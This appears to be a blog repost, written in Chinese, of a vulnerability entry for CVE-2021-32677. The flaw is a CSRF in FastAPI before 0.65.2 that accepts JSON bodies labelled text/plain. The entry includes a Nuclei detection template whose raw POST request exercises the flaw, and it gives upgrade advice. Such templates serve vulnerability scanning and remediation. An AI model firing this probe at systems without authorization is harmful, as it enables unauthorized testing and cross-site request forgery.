FastAPI CSRF via text/plain Vulnerability

漏洞信息

漏洞名称: FastAPI CSRF via text/plain Vulnerability

漏洞编号:

  • CVE: CVE-2021-32677

漏洞类型: 跨站请求伪造

漏洞等级: 中危

漏洞描述: FastAPI是一个现代、快速(高性能)的Web框架,用于基于标准Python类型提示构建API。它广泛用于开发RESTful API,因其易用性和高性能而受到开发者的青睐。该漏洞影响FastAPI版本0.65.2之前的版本,当请求的Content-Type为text/plain时,FastAPI会错误地解析JSON请求体,这导致了跨站请求伪造(CSRF)攻击的可能性。攻击者可以利用此漏洞,通过跨站表单或脚本发送伪造的请求,执行未授权的操作。这种漏洞的根源在于FastAPI在处理text/plain类型的请求时,未能正确验证请求体的内容类型,从而允许攻击者绕过同源策略(SOP)和CORS保护机制。此漏洞的中危评级反映了其需要用户交互(如点击链接)才能被利用的特性,但一旦成功利用,攻击者可以执行与受害者权限相同的操作,可能导致数据泄露或其他安全事件。建议用户升级到FastAPI 0.65.2或更高版本以修复此漏洞。

产品厂商: FastAPI

产品名称: FastAPI

影响版本: version < 0.65.2

来源: https://github.com/projectdiscovery/nuclei-templates/blob/c86f1a392c7d0259940863ad089ffe7b6424dcd6/http%2Fcves%2F2021%2FCVE-2021-32677.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

id: CVE-2021-32677

info:
name: FastAPI < 0.65.2 - CSRF via text/plain
author: oxqnd
severity: medium
description: |
FastAPI versions before 0.65.2 parse JSON bodies even when the content-type is text/plain.
This allows CSRF attacks due to CORS bypass with simple requests.
impact: |
Attacker can send forged requests via cross-site forms or scripts to perform unauthorized actions.
remediation: |
Upgrade to FastAPI 0.65.2 or later.
reference:
- https://github.com/advisories/GHSA-8h2j-cgx8-6xv7
- https://nvd.nist.gov/vuln/detail/CVE-2021-32677
classification:
cve-id: CVE-2021-32677
cwe-id: CWE-352
cvss-score: 4.3
tags: cve,cve2021,fastapi,csrf

http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: text/plain

{"username":"csrf_test","password":"csrf_test"}

matchers:
- type: word
words:
- '"username":"csrf_test"'
- '"password":"csrf_test"'
condition: and

- type: status
status:
- 200



FastAPI CSRF via text/plain Vulnerability
http://example.com/2025/08/02/github_2123889769/
作者
lianccc
发布于
2025年8月2日
许可协议